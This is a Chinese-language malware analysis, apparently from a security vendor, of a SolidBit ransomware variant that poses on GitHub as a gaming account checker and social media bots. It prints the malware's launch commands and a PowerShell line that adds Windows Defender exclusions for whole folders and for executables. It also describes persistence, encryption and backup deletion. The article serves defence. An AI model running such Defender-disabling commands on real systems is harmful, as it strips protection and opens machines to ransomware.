勒索病毒
SolidBit勒索病毒跨足勒索病毒服務 (RaaS) 並以新變種瞄準遊戲玩家與社群媒體使用者
本文從技術面分析一個偽裝成不同應用程式來誘騙遊戲玩家與社群媒體使用者的最新 SolidBit 變種。SolidBit 勒索病毒集團似乎打算透過這類假冒應用程式並吸引勒索病毒服務加盟夥伴來拓展經營規模。
趨勢科技研究人員最近分析了一個專門瞄準熱門遊戲與社群媒體使用者的最新 SolidBit勒索病毒 樣本。此惡意程式被上傳至 GitHub,它會假扮成不同的應用程式來吸引受害者上當,包括一個英雄聯盟 ( League of Legends) 帳號檢查工具 (圖 1) 以及一個 Instagram 追蹤者殭屍程式。
這個 GitHub 上的英雄聯盟帳號檢查工具 (圖 2、圖 3) 內含一個說明檔案來介紹該工具如何使用 (圖 4),但其假冒程度也僅止於此:該程式並無圖形使用者介面 (GUI) 或任何其他應有的功能。一旦不知情的受害者執行了這個程式,它就會自動執行惡意的 PowerShell 程式碼並在系統上植入勒索病毒。勒索病毒還伴隨著另一個名為「Source code」的檔案,但看起來似乎與其組譯好的二進位檔案不符。
![圖 1:名為「Rust LoL Accounts Checker」的惡意應用程式。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-40.png)
![圖 2:SolidBit 勒索病毒變種在 GitHub 上假扮成英雄聯盟帳號檢查工具。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-42.png)
![圖 3:冒牌的英雄聯盟帳號檢查工具在 Github 上的詳細資訊。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-43.png)
![圖 4:SolidBit 在 GitHub 上的冒牌英雄聯盟帳號檢查工具當中的一個檔案。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-44.png)
在這個冒牌的英雄聯盟帳號檢查工具當中還有一些其他檔案,其中有一個名為「Rust LoL Accounts Checker.exe 」的執行檔 (圖 5) 使用了 Safengine Shielden 軟體保護工具,使得該程式更難利用逆向工程加以分析。當這個檔案執行時,它會出現一個錯誤訊息表示在系統上偵測到除錯器 (圖 6),這意味著惡意程式可能具備反制虛擬化與反制除錯的能力。
![圖 5:使用 Detect It Easy 來查看 Rust LoL Accounts Checker.exe 檔案的詳細內容。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-45.png)
![圖 6:當 Rust LoL Accounts Checker.exe 執行時出現的彈出視窗。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-46.png)
如果使用者點選這個執行檔讓它執行,它就會在系統上植入並執行「 Lol Checker x64.exe」檔案,該檔案會執行惡意 PowerShell 程式碼在系統上植入 SolidBit 勒索病毒並加以執行。我們在 VirusTotal 和 AnyRun 沙盒模擬環境中執行該檔案時,發現 Rust LoL Accounts Checker.exe 會使用以下指令來下載並執行 Lol Checker x64.exe:
cmd /c start “” %TEMP%\LoL Checker x64.exe
當 Lol Checker x64.exe 執行時,它會關閉 Windows Defender 對下列資料夾與副檔名的排程掃描與即時掃描:
- %UserProfile%,
- %AppData%,
- %Temp%,
- %SystemRoot%,
- %HomeDrive%,
- %SystemDrive%
- .exe
- .dll
該檔案使用以下 PowerShell 指令來關閉前述掃描:
cmd /c powershell -Command “Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force” & powershell -Command “Add-MpPreference -ExclusionExtension @(‘exe’,’dll’) -Force” & exit;
在關閉 Windows Defender 對這些目錄的掃描之後,接著就會在系統植入 Runtime64.exe 檔案 (根據我們的分析,這就是 SolidBit 勒索病毒) 並使用下列指令來將它執行:
cmd /c start “” %TEMP%\Runtime64.exe
SolidBit 新變種分析
這個新版的 SolidBit 勒索病毒是一個組譯過的 .NET 執行檔 (圖 7)。當我們使用除錯器和 .NET assembly 編輯器 DnSpy 來開啟 Runtime64.exe 檔案時,我們發現這是一個經過加密編碼的檔案。我們使用一個名為「de4dot」的 .NET 解碼/解封裝工具來解開裡面的字串 (圖 8)。
![圖 7:使用 Detect It Easy 工具來查看執行檔的詳細內容。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-47.png)
![圖 8:使用 de4dot 將檔案解碼之前 (左) 和之後 (右) 的比較。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-48.png)
此勒索病毒會在系統內產生一個 mutex 以便判斷系統上是否已經有它的其他副本正在執行,如果有就終止執行 (圖 9)。
![圖 9:SolidBit 勒索病毒產生的 mutex。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-49.png)
此外,它還會在系統登錄的「Software\Microsoft\Windows\CurrentVersion\Run」機碼底下產生一個名為「UpdateTask」的數值,指向它所在的目錄,好讓自己在開機時自動啟動 (圖 10)。
![圖 10:SolidBit 透過系統登錄讓自己在開機時自動啟動。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-50.png)
在開始執行加密動作之前,勒索病毒會檢查當前的目錄是否為根目錄,並且避開以下檔案及目錄 (參見圖 11):
- \\ProgramData
- $Recycle.Bin
- AMD
- appdata\\local
- appdata\\locallow
- autorun.inf
- boot.ini
- boot.ini
- bootfont.bin
- bootmgfw.efi
- bootsect.bak
- desktop.ini
- Documents and Settings
- iconcache.db
- Intel
- MSOCache
- ntuser.dat
- ntuser.dat.log
- ntuser.ini
- NVIDIA
- PerfLogs
- ProgramData
- Program Files
- Program Files (x86)
- thumbs.db
- users\\all users
- Windows
- Windows.old
![圖 11:SolidBit 勒索病毒會避開某些檔案。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-51.png)
這個 SolidBit 變種使用 256 位元 Advanced Encryption Standard (AES) 演算法來將受害電腦的檔案加密 (圖 12)。SolidBit 會在被加密的檔案內容末端插入一個金鑰來當成感染標記 (圖 13)。這個金鑰是一個寫死在執行檔內且經過 Rivest-Shamir-Adleman (RSA) 加密之後再經過 Base 64 編碼的字串。此外,勒索病毒也會在被加密的檔案名稱後面加上「.SolidBit」副檔名,並修改其檔案圖示 (圖 14)。它的加密行為只會加密某些副檔名的檔案。
![圖 12:SolidBit 勒索病毒的加密行為。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-52.png)
![圖 13:加密後的檔案內容。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-53.png)
![圖 14:被 SolidBit 勒索病毒加密後的檔案。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-54.png)
這個 SolidBit 變種還會停用多個系統服務、刪除陰影複製備份 (shadow copy) (圖 15) 與備份類別目錄 (backup catalog) (圖 16),同時刪除受害電腦上的 42 個服務。
![圖 15:SolidBit 刪除陰影複製備份 (shadow copy)。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-55.png)
![圖 16:SolidBit 刪除備份類別目錄 (backup catalog)。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-56.png)
同時,它還會在每個目錄中留下一個名為「 RESTORE-MY-FILES.txt」的檔案 來告訴受害者如何支付贖金 (圖 17) 並在受害電腦上顯示一個彈出視窗 (圖 18)。
![圖 17:SolidBit 勒索病毒留下的勒索訊息。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-57.png)
![圖 18:SolidBit 勒索病毒在受害電腦螢幕上顯示的彈出視窗。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-58.png)
SolidBit 模仿 LockBit
SolidBit 曾經被懷疑是 LockBit 勒索病毒的翻版,因為兩者的聊天支援網站排版方式很像 (圖 19) 且兩者的勒索訊息檔名也一樣 (圖 20)。
![圖 19:LockBit (左) 與 SolidBit (右) 兩者的聊天支援網站長得很像。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-59.png)
![圖 20:LockBit (左) 和 SolidBit (右) 的勒索訊息檔案。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-60.png)
不過,SolidBit 勒索病毒是使用 .NET 來組譯,實際上是 Yashma 勒索病毒 (亦稱為 Chaos ) 的變種 (圖 21)。有可能 SolidBit 勒索病毒集團目前正與 Yashma 勒索病毒的原始開發者合作,所以拿 Chaos 的程式碼來修改一些功能之後,重新包裝成 SolidBit (圖 22)。
![圖 21:SolidBit 勒索病毒 (左) 與 Yashma 勒索病毒 (右) 當中的函式。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-61.png)
![圖 22:SolidBit 勒索病毒 (左) 與 Yashma 勒索病毒 (右) 會在受害電腦系統目錄中檢查的檔案。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-62.png)
新的 SolidBit 樣本比之前的版本大上許多,目前為 5.56 MB,之前的 SolidBit 變種才 159 KB。此外,偽裝成英雄聯盟帳號檢查程式來散播勒索病毒檔案,也是它新增加的手法。
SolidBit 偽裝成社群媒體工具
除了偽裝成英雄聯盟帳號檢查工具之外,前述的 GitHub 帳號也上傳了假扮成其他應用程式的 SolidBit 變種,例如「Social Hacker」(圖 23) 與「Instagram Follower Bot」(圖 24)。不過該帳號在本文撰稿時已經被封鎖。
![圖 23:偽裝成「Social Hacker」的 SolidBit 變種檔案內容。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-63.png)
![圖 24:偽裝成「Instagram Follower Bot」的 SolidBit 變種檔案內容。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-64.png)
這兩個惡意程式在虛擬機器內執行時都會出現錯誤訊息 (圖 25)。在行為上,它們與前述的假英雄聯盟帳號檢查程式相同,都會產生並執行一個執行檔,該執行檔再產生 SolidBit 勒索病毒來執行 (圖 26)。
![圖 25:當 Social Hacker 與 Instagram Follower Bot 在虛擬機器上執行時會出現的錯誤訊息。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-65.png)
![圖 26:三個會散播 SolidBit 變種的冒牌應用程式執行流程。](/content/dam/trendmicro/global/zh_tw/research/22/h/25/image-66.png)
SolidBit 勒索病毒服務
SolidBit 勒索病毒集團除了會透過偽裝的程式來散播勒索病毒之外,研究人員也發現 SolidBit 勒索病毒集團曾於 6 月 29 日在地下論壇張貼徵才廣告來為他們的勒索病毒服務 (RaaS) 招募夥伴。這些夥伴的任務就是滲透受害者的系統及散播 SolidBit,並有機會獲得 80% 的贖金作為報酬。
防範勒索病毒攻擊
SolidBit 勒索病毒背後的犯罪集團似乎正在透過招募勒索病毒服務合作夥伴來擴大營業規模,協助他們感染更多的電腦,同時散播他們新開發的變種。由於 SolidBit 提供的報酬相當豐厚,相信應該可吸引到其他駭客加入,因此我們預料不久的將來該集團就會有更多動作。
勒索病毒假扮成合法程式或工具並不是什麼新的社交工程技巧,但 SolidBit 的最新變種卻是瞄準一些使用族群廣大的遊戲和應用程式。這使得 SolidBit 勒索病毒擁有更多潛在的受害目標。一些不太會養成良好資安習慣的使用者,如兒童和青少年,很可能會被這類冒牌應用程式和工具所騙,例如之前 Minecraft 和 Roblox 惡意程式的案例。
一般使用者可養成以下幾個良好資安習慣來防範感染勒索病毒的風險:
- 啟用多重認證 (MFA) 以防止駭客在網路內部橫向移動。
- 遵守3-2-1 備份原則來備份重要檔案:3 份備份、2 種儲存媒體、1 個不同的存放地點。
- 定期修補與更新系統,讓作業系統與應用程式隨時保持更新可防止駭客利用任何軟體漏洞發動攻擊。
企業機構則可採取一些具備多層式偵測及回應的資安解決方案,如 Trend Micro Vision One™,它提供了多層式防護與行為偵測來攔截可疑的行為和工具,不讓勒索病毒有機會造成任何損害。此外,還有 Trend Micro Apex One™ 可提供次世代自動化威脅偵測及回應來保護端點,防範無檔案式攻擊與勒索病毒等進階威脅。